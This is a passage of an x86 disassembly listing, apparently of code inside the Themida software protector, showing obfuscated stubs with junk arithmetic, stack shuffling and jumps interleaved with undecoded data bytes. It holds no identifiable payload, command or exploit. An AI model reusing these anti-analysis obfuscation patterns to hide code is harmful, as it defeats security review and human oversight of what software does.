loc_555CC8:				; CODE XREF: Themida_:00550446j
		mov	[esp], edx
		push	719Fh
		jmp	loc_55EF16
; ---------------------------------------------------------------------------
		db 48h,	0Dh, 78h
		dd 0F720B661h, 0A96905D8h, 0C2895EC0h, 81DAF758h, 884E75F2h
		dd 0E9D62921h, 542Dh, 68241C89h, 764Bh,	0BE243489h, 1EDA3950h
		dd 0B95EF389h, 53054FE0h, 1C8BD931h, 9366E924h,	34FF0000h
		dd 37076887h, 3C890000h, 6A46E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_555D26:				; CODE XREF: Themida_:00560D1Cj
		pop	ecx
		xchg	edi, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_558EE5
; ---------------------------------------------------------------------------
aSss9		db 'SéS9',0
		align 4
		dd 0C875B5Ah, 24248B24h, 81E78957h, 4C7h, 4C78100h, 0E9000000h
		dd 0FFFFF01Ch, 0A37AE95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_555D5E:				; CODE XREF: Themida_:00562CACj
		mov	ebp, 4
		jmp	loc_561E7D
; ---------------------------------------------------------------------------
		dd 2B8h, 0E9F6E900h, 8B660000h,	0AE9241Ch, 51FFFFC1h, 4EC81h
		dd 3C890000h, 0F5BE5624h, 506D7F6Fh, 0CD63EAB8h, 6BE02D07h
		dd 65E96DC7h
		db 70h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_555D9B:				; CODE XREF: Themida_:00552017j
		push	0E3E799Bh
		pop	esi
		push	ebx
		mov	ebx, 0E3E7997h
		sub	esi, 27540099h
		sub	esi, ebx
		add	esi, 27540099h
		jmp	loc_55FEB5
; ---------------------------------------------------------------------------
		dw 348Bh
		dd 0C728E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_555DC2:				; CODE XREF: Themida_:00558A73j
		mov	ebp, esp
		jmp	loc_55AF9B
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 3Bh
		dd 52618D15h, 0E264D9BAh, 0E933E90Eh, 815F0000h, 405407E1h
		dd 2DF7E937h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_555DE6:				; CODE XREF: Themida_:00564A1Aj
		pop	ebx
		jmp	loc_553487
; ---------------------------------------------------------------------------
		dd 24348B52h, 8B04C483h, 0C4812414h, 4,	8E99E951h, 0C4810000h
		dd 4, 0A294C681h, 0F501E5FDh, 8B2434FFh, 0C4812434h, 4
		dd 1A3E9h, 5FB85000h, 81C430E4h, 0FD3B1EEEh, 0E9C6013Fh
		dd 25F2h, 32E7EE81h, 0E9554074h, 473h, 4C481h, 0C4810000h
		dd 4, 0FFA931E9h, 0EAE981FFh, 81733B3Fh, 2D6F49E9h, 8E1817Eh
		dd 0F714A45Dh, 0E7A5E9D9h, 85B60000h, 0F12890B1h, 22E1805Ah
		dd 4BC5E9h, 3C895C00h, 51C86824h, 37E90000h, 830000B1h
		dd 3C8904ECh, 73685224h, 5A306134h, 6702B951h, 0CA3151DFh
		dd 83240C8Bh, 0F28104C4h, 24FE375Ah, 68F7F281h,	0EE96846h
		dd 0B9000050h, 1E5C2DC3h, 21D7C181h, 0F1816DF8h, 0E03004EEh
		dd 5A59CF29h, 35A7C381h, 0FB29247Dh, 35A7EB81h,	315F247Dh
		dd 0A542E9C2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_555EDE:				; CODE XREF: Themida_:00562B42j
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	1Ch
		push	dword ptr [esp]
		jmp	loc_562B47
; ---------------------------------------------------------------------------

loc_555EFC:				; CODE XREF: Themida_:00555144j
		or	edx, 5978108Ch
		jmp	loc_55F5AB
; ---------------------------------------------------------------------------
		db 83h
		dd 48904ECh, 0F0B25224h, 8890EA80h, 4DBE9D4h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_555F1A:				; CODE XREF: Themida_:0055182Cj
		xor	al, bl
		mov	bx, [esp]
		push	5B43h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 2
		xchg	edx, [esp]
		mov	esp, [esp]
		add	bl, 70h
		jmp	loc_563C10
; ---------------------------------------------------------------------------
		db 89h,	0E2h, 81h
		dd 4C2h, 4EA8300h, 5C241487h, 77A7E9h
		db 0
; ---------------------------------------------------------------------------

loc_555F55:				; CODE XREF: Themida_:0055BF20j
		pop	ebp
		or	ecx, 3FB377D8h
		push	4523h
		jmp	loc_556837
; ---------------------------------------------------------------------------
		dw 2C8Bh
		dd 4C48324h, 0FFBD36E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_555F71:				; CODE XREF: Themida_:005531BCj
		pop	ecx
		sub	esp, 4
		jmp	loc_56063D
; ---------------------------------------------------------------------------
		db 81h,	0F1h, 0E3h
		dd 21686D48h, 0B98FE9CAh, 815DFFFFh, 66644DC3h,	81D32925h
		dd 66644DEBh, 5DC38125h, 0E974594Eh, 693Dh, 8704EA83h
		dd 0E95C2414h, 0F6CAh
; ---------------------------------------------------------------------------

loc_555FB0:				; CODE XREF: Themida_:0055BC56j
		sub	ebx, 5901242Eh
		add	ebx, ecx
		jmp	loc_559017
; ---------------------------------------------------------------------------
		db 0B5h, 0F2h, 0E9h
		dd 9A4Ch, 4C481h, 0C1E90000h, 5F0000C6h, 5F2434FFh, 8104C483h
		dd 4C7h, 4EC8300h, 83242C89h, 46E904ECh, 58000011h, 0AE09E9h
		dd 243C8900h, 642D4BBFh, 6ABE5636h, 4E5F1D33h, 98F68146h
		dd 914E15Dh, 0CF815EF7h, 3A9205B4h, 5128EF81h, 0D7877A67h
		dd 83D78742h, 148904ECh, 1B95124h, 814B2872h, 1A38CBF1h
		dd 0FE1FE96Dh, 0E089FFFFh, 405h, 40500h, 4870000h, 0C360E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_556046:				; CODE XREF: Themida_:0055DB6Aj
		sub	ecx, 618147DFh
		add	ecx, edi
		add	ecx, 618147DFh
		mov	edi, [esp]
		add	esp, 4
		push	eax
		jmp	loc_556B67
; ---------------------------------------------------------------------------
		db 59h
		dd 0BE95053h, 330000F4h, 205C2434h, 0E99C2404h,	0FFFFEC3Dh
		dd 4246C81h, 67F5AB4h, 4245C01h, 4244481h, 67F5AB4h, 5B2434FFh
		dd 81E78957h, 4C7h, 11E95300h
		db 0BDh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55609F:				; CODE XREF: Themida_:005525D6j
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		mov	[esp], bx
		jmp	loc_55181E
; ---------------------------------------------------------------------------
		db 0BFh, 36h, 6Ah
		dd 0F88910A0h, 8EA2E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5560CA:				; CODE XREF: Themida_:00563F2Bj
		mov	ebp, [esp]
		jmp	loc_559A04
; ---------------------------------------------------------------------------

loc_5560D2:				; CODE XREF: Themida_:00560451j
		add	ebp, 4
		jmp	loc_55C8C7
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 66000000h, 83240C8Bh, 526602C4h, 0C69AE951h,	0E95C0000h
		dd 0FFFFCD05h, 1903A32Dh, 9DBA5267h, 0E918DC24h, 44E7h
; ---------------------------------------------------------------------------

loc_556108:				; CODE XREF: Themida_:0055F72Aj
		xchg	ebp, edi
		jmp	loc_558F55
; ---------------------------------------------------------------------------
		db 0BAh
		dd 337A4C91h, 0E2C1DAF7h, 0C2814A07h, 0C7ABAC6h, 505AD589h
		dd 8784E9h, 242C8B00h, 0FFFB2BE9h, 0E9C229FFh, 0FFFFCE0Bh
		dd 28507CB8h, 5078352Ch, 63E92C28h, 8700006Eh, 74E9242Ch
		dd 5DFFFFACh, 8324048Bh, 40504C4h, 2D000000h, 4, 0C029E9h
		dd 24048F00h, 0E924248Bh, 8EBAh, 48FCF781h, 7C016DD8h
		dd 50E90424h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55617F:				; CODE XREF: Themida_:005526E1j
		pop	ebx
		sub	ebx, 11961A10h
		and	ebx, 1D57530Ah
		sub	ebx, 1
		add	ebx, 0FFFFFFFFh
		xor	ebx, 7C2Eh
		xor	ebx, 42B130D8h
		and	ebx, 75FC16FCh
		xor	ebx, 4B635D03h
		and	ebx, 70384AF9h
		push	esi
		mov	esi, 584D1BA1h
		shr	esi, 4
		add	esi, 0EA7BE34Dh
		sub	ebx, 297A170Ch
		add	ebx, esi
		push	ecx
		jmp	loc_557C36
; ---------------------------------------------------------------------------
		dd 0D1685557h, 5D0CFD64h, 5874F581h, 524D3F32h,	790844BAh
		dd 5AD50125h, 0F1C9E9h,	242C8A00h, 0BE01E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5561F6:				; CODE XREF: Themida_:0055C88Ej
		add	eax, edx
		sub	eax, 37EF157Bh
		jmp	loc_561175
; ---------------------------------------------------------------------------

loc_556202:				; CODE XREF: Themida_:00551E65j
		pop	edx
		sub	esi, 460E010Fh
		sub	esi, ebx
		add	esi, 460E010Fh
		push	ecx
		mov	ecx, 2AC5A6Eh
		sub	esi, ecx
		pop	ecx
		push	dword ptr [esp]
		pop	ebx
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		xor	esi, 1FC76594h
		push	ebx
		mov	ebx, 8F43F98h
		or	ebx, 36266DDCh
		push	edx
		mov	edx, 26345C7Eh
		jmp	loc_554B15
; ---------------------------------------------------------------------------
		dd offset dword_55195C+0Ch
		dw 0E900h
		dd 7DB5h, 0C181E189h, 4, 4C181h, 0C870000h, 0C2A8E924h
		dd 555EFFFFh, 1AE9FD89h, 880000B2h, 88525BD9h, 5AF788CEh
		dd 24048B59h, 0FFC0ACE9h, 243487FFh, 67856856h,	14890000h
		dd 525A5E24h, 5A2414F7h, 0FFE9DCE9h, 37F181FFh,	41197635h
		dd 2B1AE981h, 0F9E9ED30h, 0BDFFFFE2h, 5DCF440Eh, 4EC81h
		dd 1C890000h, 6786BB24h, 1CE92506h, 0B90000C5h,	1D413690h
		dd 3D7FF181h, 0BF577EF8h, 0FFFFFFFFh, 815FF901h, 392067E9h
		dd 0DBC1815Dh, 316433E3h, 2434FFC8h
		db 59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 47647D43h
		neg	esi
		and	esi, 1E6C7B78h
		add	esi, 0E7F7FDCCh
		add	ebp, esi
		pop	esi
		push	eax
		mov	eax, 4
		add	ebp, eax
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xchg	ebp, [esp]
		pop	esp
		push	ebx
		push	2E10h
		mov	[esp], ebp
		jmp	loc_551321
; ---------------------------------------------------------------------------
aNPsL		db 'š',7,'N&Péšl',0
		align 2
		dw 0E95Dh
		dd 0FFFFA0D8h, 0E1ECE959h, 45B90000h, 2964EC62h, 0D08AE9CBh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55635A:				; CODE XREF: Themida_:0056271Bj
		mov	[esp], edx
		jmp	loc_558185
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 4, 0ED99E9h,	59CF8900h, 815FFD01h, 4C5h, 242C8700h
		dd 0BF57505Ch, 3F6310AEh, 6310B2B8h, 0E9F8293Fh, 0FFFFF014h
		dd 0B8645705h, 0D908E919h, 17BF0000h, 8171301Ah, 5B7258C7h
		dd 5CE56878h, 1C890000h, 0CD33BB24h, 0DF0187D6h, 5FF8295Bh
		dd 0C8ACE956h, 2BDFFFFh, 89000000h, 0EB815DEAh,	5B027088h
		dd 5D73EB81h, 0D3013796h, 0A7FCE9h
		db 0
; ---------------------------------------------------------------------------

loc_5563D9:				; CODE XREF: Themida_:0055AA58j
		mov	esp, [esp]
		pop	dword ptr [esp]
		jmp	loc_5519F6
; ---------------------------------------------------------------------------
aUs_0		db 'Uéם',0
		align 2
		dw 2C33h
		dd 24248B24h, 211E9h, 79E95A00h, 50FFFFA9h, 2B8h, 4ABF5700h
		dd 168D232h, 0A9E95FFEh, 4A000092h, 7685253h, 5A0C5712h
		dd 63CCF281h, 0DAF720C4h, 8106E2C1h, 0AEC412C2h, 5AD3897Ch
		dd 60C5F381h, 0E9524091h, 0DD82h, 73AB850h, 0D4350238h
		dd 5749671h, 7412DE1h, 0FFABF5E9h, 0C8B66FFh, 9026824h
		dd 3C890000h, 0D9E95424h, 0AC000039h, 4A3C6866h, 0FFC856E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_556469:				; CODE XREF: Themida_:005531C4j
		push	4D463AE3h
		jmp	loc_557AA2
; ---------------------------------------------------------------------------

loc_556473:				; CODE XREF: Themida_:00557BAEj
		sub	bl, al
		add	bl, 0FAh
		push	ecx
		mov	cl, 0A9h
		neg	cl
		not	cl
		inc	cl
		sub	cl, 1Bh
		sub	cl, 92h
		add	bl, 38h
		jmp	loc_554AB9
; ---------------------------------------------------------------------------
		db 68h
		dd 3F9501BFh, 0BBEE815Eh, 893F9501h, 0C1015EF0h, 582434FFh
		dd 0ABDEE952h, 48BFFFFh, 35A6824h, 0C890000h, 81E18924h
		dd 4ECh, 24148900h, 0FFB8B9E9h,	81D701FFh, 2A49CCEFh, 47C78131h
		dd 0E905D65Eh, 0D11Ah, 6D57E943h, 3B680000h, 0E9000063h
		dd 0E620h, 8027F680h, 0F528B9EEh, 7EF5805Ah, 0C8BEC20h
		dd 4C48324h, 383868h, 24148900h, 0DF95E9h, 0E7895700h
		dd 4C781h, 0FE680000h, 89000005h, 4B9240Ch, 1000000h, 3C8759CFh
		dd 0BE565C24h, 460A6C1Fh, 0FFD031E9h, 243487FFh, 0FF24248Bh
		dd 0E9582434h, 0E9DDh
; ---------------------------------------------------------------------------

loc_556540:				; CODE XREF: Themida_:0055ECD5j
		add	esi, ebx
		pop	ebx
		push	ebx
		push	ebp
		mov	ebp, 4
		mov	ebx, ebp
		pop	ebp
		add	esi, ebx
		jmp	loc_55BCEB
; ---------------------------------------------------------------------------

loc_556554:				; CODE XREF: Themida_:00563BA3j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		pop	ecx
		jmp	loc_5582E5
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0E9000000h, 0FFFFB00Ah, 0EB81F301h, 725356B1h, 14FABA52h
		dd 98E96C0Dh, 590000EDh, 0FF9E8FE9h, 240489FFh,	0FF9E87E9h
		dd 0C6EE81FFh, 0E9782032h, 0FFFFE6AAh, 455489BAh, 5AD7293Ah
		dd 2131C781h, 0D7017A04h, 2131EF81h, 0C7817A04h, 3A455489h
		dd 0FFFE015Ah, 34FF2434h, 0C4835F24h
		db 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		add	esi, 2
		xor	esi, [esp]
		jmp	loc_5636A3
; ---------------------------------------------------------------------------
		db 29h,	0EBh, 81h
		dd 0E42CFCC3h, 0C2EB8118h, 5D6C164Eh, 0AC75E953h, 48FFFFFh
		dd 24248B24h, 0C8BE0F66h, 0FFBBACE9h, 2552B9FFh, 0A8E92850h
		dd 58000037h, 8904EC83h, 0EC812414h, 4,	52243C89h, 83CF4BAh
		dd 3D2C6818h, 505F1808h, 0E71258B8h, 0A02D402Fh, 0E9C829C2h
		dd 0FFFFEDE2h
; ---------------------------------------------------------------------------

loc_55664C:				; CODE XREF: Themida_:005612CFj
		push	eax
		push	ebp
		jmp	loc_56032F
; ---------------------------------------------------------------------------
		db 87h
		dd 0E9D3F7DDh, 0FFFFB591h, 8704C483h, 895C240Ch, 9CB9240Ch
		dd 0E900FD06h, 7B2h, 6A2FB951h,	89526886h, 82AEE9CAh, 0F660000h
		dd 9C2404ABh, 0FF9D97E9h, 0FFC683FFh, 418368h, 3B4FE900h
		dd 2C800000h, 74E98B24h, 0B40000CEh, 0D1DFE96Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5566A6:				; CODE XREF: Themida_:00564A10j
		mov	esi, 4CB81DF7h
		sub	esi, 31B3617Bh
		add	esi, 0CFC6EFDh
		and	esi, 3A7919EAh
		shr	esi, 1
		jmp	loc_55ED75
; ---------------------------------------------------------------------------

loc_5566C4:				; CODE XREF: Themida_:005547D6j
		sub	ebx, 815444E3h
		or	ecx, ebx
		mov	ebx, [esp]
		jmp	loc_55E21C
; ---------------------------------------------------------------------------

loc_5566D4:				; CODE XREF: Themida_:00553E96j
		mov	edx, 2AC5A6Eh
		jmp	loc_551E63
; ---------------------------------------------------------------------------
		dw 0E955h
		dd 0FFFFB3F7h, 0F104F381h, 0DD01B77Fh, 5B2434FFh, 8304C483h
		dd 0F6E904C5h, 0F700001Ah, 0CDE92414h, 81FFFFB3h, 84D2DBC2h
		dd 5AD789DBh, 575FFE01h, 0F754ADBFh, 0BBE78126h, 0E9229754h
		dd 15D6h, 0E241E95Bh, 0E941FFFFh, 3C08h, 58C3015Fh, 1C8BD829h
		dd 0E7895724h, 4C781h, 0C7810000h, 4, 5C243C87h, 73FAC381h
		dd 0C301529Fh, 73FAEB81h, 34FF529Fh, 0C9E95824h, 59000084h
		dd 6768E9h, 241C8700h, 8E8DE9h,	17E95D00h, 100005Bh, 0C7815AD7h
		dd 2, 0E9243C33h, 7778h, 12EFE95Eh, 0EE810000h,	4, 0E9243433h
		dd 1009h, 242C8B5Bh, 56E38953h,	881D9DBEh, 0FFC68338h
		dd 3D46E9h, 8BEE2900h, 0C481242Ch, 4, 24343358h, 189E9h
		dd 241C8900h, 0BE9E389h, 56000060h, 5847B2BEh, 0B10FE91Ah
		dd 0E9590000h, 0FFFFE1F8h, 4C781h, 7EE90000h, 5700003Fh
		dd 4BFh, 5FFA2900h, 0E9241487h,	873Bh, 4C181h, 0C1810000h
		dd 4, 5C240C87h, 3CE9C330h, 890000C8h, 4C581E5h, 83000000h
		dd 9FE904C5h, 680000A8h, 4322h,	81241C89h, 4ECh, 557E900h
		dd 0E9E90000h
		db 9Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_556837:				; CODE XREF: Themida_:00555F61j
		mov	[esp], ebp
		jmp	loc_560975
; ---------------------------------------------------------------------------
		db 89h
		dd 405E0h, 0BB530000h, 4, 0EA665C2Dh, 5D80120h,	20EA665Ch
		dd 28F6E9h, 2414F700h, 4EC835Dh, 55240489h, 0BF4A43BDh
		dd 0F1D5B851h, 0E8010289h, 2419255Dh, 0E7E94698h, 810000BEh
		dd 1B1BA9EDh, 0D7685A2Eh, 89000070h, 5AE9240Ch,	5300002Fh
		dd 0DC249DBBh, 1AF82D18h, 0D8016754h, 541AF805h, 30E95B67h
		dd 81000081h, 8154A6EDh, 5DEB29D3h, 7FE9EB81h, 0D9E960AAh
		dd 5700009Eh, 9A5EF2BFh, 292CE943h, 0E2810000h,	208167C5h
		dd 0EA81D2F7h, 9D5AB460h, 0F5E9D789h, 810000E0h, 4C4h
		dd 0E9E1F700h, 0FFFFC288h, 0F8000FB7h, 0E9F8005Bh, 3BE2h
		dd 5C241487h, 4EC81h, 24E90000h, 5DFFFFC7h, 5A6F68h, 240C8900h
		dd 2468h, 240C8B00h, 4C481h, 0E9810000h, 1D17744Eh, 0BAEE981h
		dd 0F9013609h, 0BAEC181h, 0B1E93609h, 66FFFFD1h, 0E9240489h
		dd 0FFFF9AE0h, 907E6B68h, 0ADAFE926h, 34310000h, 24343324h
		dd 0E9F7665Ch, 434B68h,	9FDE900h, 0BFB80000h, 0E9496B25h
		dd 166Ah, 0D5E952ADh, 51FFFFD9h, 0FFE336E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_556975:				; CODE XREF: Themida_:005614C8j
		push	ebp
		mov	ebp, 0
		sub	ebp, ebx
		push	ebp
		add	dword ptr [esp], 32EF4B87h
		pop	ebx
		sub	ebx, 32EF4B87h
		pop	ebp
		push	edx
		mov	edx, 600379CCh
		jmp	loc_565379
; ---------------------------------------------------------------------------

loc_556998:				; CODE XREF: Themida_:005655A9j
		add	edi, 4
		jmp	loc_554332
; ---------------------------------------------------------------------------
		db 28h
		dd 0E97D04D8h, 0E073h, 110B2005h, 2DE82931h, 31110B20h
		dd 8D4AD62Dh, 37055D7Fh, 117197Ch, 7C372DF0h, 0D051719h
		dd 8B24FD40h, 3DE92434h
		db 41h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5569D7:				; CODE XREF: Themida_:005588D4j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_55A245
; ---------------------------------------------------------------------------
		dw 0C083h
		dd 3ABAE904h, 680000h, 81000000h, 2F9C242Ch, 34295FB1h
		dd 6591E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5569FE:				; CODE XREF: Themida_:005637F5j
		pop	ecx
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	0A5Dh
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		sub	esp, 4
		jmp	loc_563870
; ---------------------------------------------------------------------------
aFS4		db 'f[éĎ4',0
		align 2

loc_556A26:				; CODE XREF: Themida_:005585B8j
		push	29C72292h
		mov	ebp, [esp]
		add	esp, 4
		xor	ebp, 58FC3E12h
		mov	ecx, ebp
		pop	ebp
		xor	ecx, 7AAB46D3h
		push	esi
		push	edx
		mov	edx, ecx
		mov	esi, edx
		pop	edx
		mov	eax, esi
		pop	esi
		pop	ecx
		not	eax
		add	eax, 5F7E6CF3h
		neg	eax
		xor	eax, 678241EFh
		sub	esi, eax
		jmp	loc_56511C
; ---------------------------------------------------------------------------
		dd 6CBE5651h, 0B90B3235h, 52864FE5h, 348BF131h,	4C48324h
		dd 0FFC8E7E9h, 242C33FFh, 52BAE9h
		db 0
; ---------------------------------------------------------------------------

loc_556A81:				; CODE XREF: Themida_:00558268j
		mov	ecx, 5AAD11C9h
		jmp	loc_55E054
; ---------------------------------------------------------------------------
		db 1
		dd 0CDBA52C7h, 0E957F874h, 0FFFFD002h
; ---------------------------------------------------------------------------

loc_556A98:				; CODE XREF: Themida_:00559CEFj
		pop	edx
		add	eax, edx
		pop	edx
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_565992
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 61771512h, 5783EB81h, 834B10BEh, 0B9E9FFEBh,	810000A3h
		dd 0B44A75C5h, 81D52948h, 0B44A75EDh, 0DA42E948h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_556ADE:				; CODE XREF: Themida_:0055E8D8j
		add	edi, 3E3A4A94h
		shl	edi, 2
		add	edi, 0A1867434h
		add	ebp, edi
		jmp	loc_5532C5
; ---------------------------------------------------------------------------
		dd 4245401h, 0D330E95Ah, 0C4830000h, 48BE5604h,	8159AB3Eh
		dd 9D61EFC6h, 33F68158h, 1B248A0h, 0B969E9F1h, 0F2810000h
		dd 1A4597E0h, 1E9D089h,	28FFFFB7h, 5F5457D8h, 0FFFCABE9h
		dd 66D5F6FFh, 0E666E952h, 0E9810000h, 4, 8B240C87h, 0F6E92424h
		dd 5BFFFFB9h, 850CE9h, 1EF68100h, 1326465h, 24348BF5h
		dd 4C481h, 64E90000h
		db 0D6h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_556B67:				; CODE XREF: Themida_:0055605Ej
		mov	eax, 0
		sub	eax, ecx
		push	eax
		pop	ecx
		pop	eax
		push	edx
		mov	edx, 2D1D1381h
		xor	ecx, edx
		pop	edx
		sub	ecx, 5AC882FEh
		mov	edx, ecx
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_559C89
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0B54CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_556BA2:				; CODE XREF: Themida_:0055B431j
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		jmp	loc_55A617
; ---------------------------------------------------------------------------
		dw 65E9h
		dd 0B0FFFF98h, 0E9D30C72h, 48FAh, 154D68h, 0B629E900h
		dd 15BFFFFh, 78BD55F0h,	101D226h, 242C8BE8h, 4C481h, 0D62D0000h
		dd 0FF088344h, 0E95E2434h, 0FFFFC5A6h, 34FF5450h, 24048B24h
		dd 0E904C483h, 739Ah, 0BF243C89h, 124313D3h, 5302EFC1h
		dd 0F81107BBh, 5BDF311Bh, 4702EFC1h, 0D410C781h, 75E90787h
		dd 520000E9h, 0E13331BAh, 5AD7892Ch, 0FFE52FE9h, 5003B1FFh
		dd 642AE9h, 4F885B00h, 2434FF28h, 8987E9h, 0E9E58900h
		dd 0FFFFC6EAh, 0E9E38953h, 461h, 0C159CD89h, 0F58107EDh
		dd 51ACDAh, 34FFEE29h, 0CDE95D24h
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_556C6B:				; CODE XREF: Themida_:0055ECF3j
		sub	edi, 1CA1577Ah
		pop	ebx
		add	edi, 4
		jmp	loc_55CAE3
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 0FFF5C9E9h, 240C89FFh, 7A7632B9h, 27BA522Bh,	8147046Ah
		dd 0F4284CCAh, 87C2815Bh, 81363846h, 128119C2h,	5AD12992h
		dd 5BB4C981h, 0D9F77B2Bh, 0C1E7F181h, 0CB31D79Dh, 0C5EB8159h
		dd 1525900h, 241C8BDAh,	5704C483h, 4BFh, 0E9FA0100h, 73D4h
; ---------------------------------------------------------------------------

loc_556CD4:				; CODE XREF: Themida_:005544E9j
		not	ebx
		add	ebx, 61235Fh
		jmp	loc_551FB2
; ---------------------------------------------------------------------------

loc_556CE1:				; CODE XREF: Themida_:0055168Ej
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_563BA0
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF972Ch, 52E68956h, 0C281E289h, 4, 4EA81h, 14870000h
		dd 4895C24h, 1265B824h,	6852157Eh, 57AF1352h, 5AD0295Ah
		dd 5A510B05h, 0D7E95213h, 53000059h, 241C8B54h,	4C481h
		dd 50560000h, 0B07D24B8h, 58C68910h, 0EEC1DEF7h, 81464604h
		dd 0B07D5C6h, 0E6EB81F1h, 15D9A11h, 0E6C381F3h,	5E5D9A11h
		dd 0BB10E9h
		db 0
; ---------------------------------------------------------------------------

loc_556D5D:				; CODE XREF: Themida_:00554322j
		push	edi
		push	esp
		pop	edi
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 40655A4Eh
		sub	edi, edx
		pop	edx
		add	edi, esi
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_55B0A3
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 94D3E9h, 24248900h, 4BF57h, 7C010000h, 8F5F0424h, 0AB682404h
		dd 0E900007Bh, 9072h, 43EC381h,	0F3015BA8h, 43EEB81h, 665E5BA8h
		dd 6600B60Fh, 66263968h, 0E9240489h, 0FFFFC2CEh, 4C481h
		dd 0E9530000h, 0E9AFh, 4244401h, 582434FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_555852
; ---------------------------------------------------------------------------
		dd 0FFFFEE81h, 0E681FFFFh, 2C121309h, 5AFFC681h, 0B85057A9h
		dd 0D89F87A9h, 8158C601h, 85D4AE9h, 81F10101h, 85D4AC1h
		dd 2C8CE901h, 0CE310000h, 83240C8Bh, 0B5E904C4h, 0F7FFFFF5h
		dd 60FB35D0h, 0C6292AF0h, 39E3E9h, 24148900h, 554C0FBAh
		dd 5AD63106h, 0FFBA2EE9h, 53E189FFh, 3CEFBE56h,	15BB1AF4h
		dd 1E50BC3h, 0D9015EF3h, 25E1E95Bh, 0A2680000h,	89000035h
		dd 0F5E9241Ch, 590000E2h, 169BE9h, 2474FF00h, 0E7BEE904h
		dd 0DA01FFFFh, 3107C281h, 0EA81190Dh, 41514422h, 50241C8Bh
		dd 4055854h, 5000000h, 4, 2474FF50h, 48F5804h, 0BB535C24h
		dd 6EE24609h, 0FFCEF9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_556EB5:				; CODE XREF: Themida_:00550F8Bj
		pop	eax
		jmp	loc_55282B
; ---------------------------------------------------------------------------
		db 85h
		dd 5DE99CC8h, 83FFFF95h, 0A8E904C4h, 51FFFFE2h,	0CE88F988h
		dd 24BB6859h, 4890000h,	88F08824h, 8B5A58C5h, 7E9241Ch
		dd 5500008Ah, 42474FFh,	69CCE9h, 4C48300h, 6CC6C281h, 815B3242h
		dd 717C5CC3h, 0B7EB8144h, 0E9610856h, 0FFFFDE82h, 0ABA5253h
		dd 8125CF4Ch, 923CBE2h,	11EA8138h, 8110D856h, 6D7AD5C2h
		dd 0BC96E909h, 0EC80FFFFh, 0E64EE98Ah, 8352FFFFh, 96E904ECh
		dd 59000087h, 5E08950h,	4, 405h, 2179E900h, 0DE010000h
		dd 0FFF843E9h, 2434FFFFh, 682B6858h, 78E90000h,	5D0000E7h
		dd 8B24048Fh, 0F1F62424h, 0CCB60F66h, 487F6866h, 240C8966h
		dd 0C8B60F66h, 0E99C5166h, 0FFFF949Ch, 4E9CA29h
		db 79h,	2 dup(0)
; ---------------------------------------------------------------------------

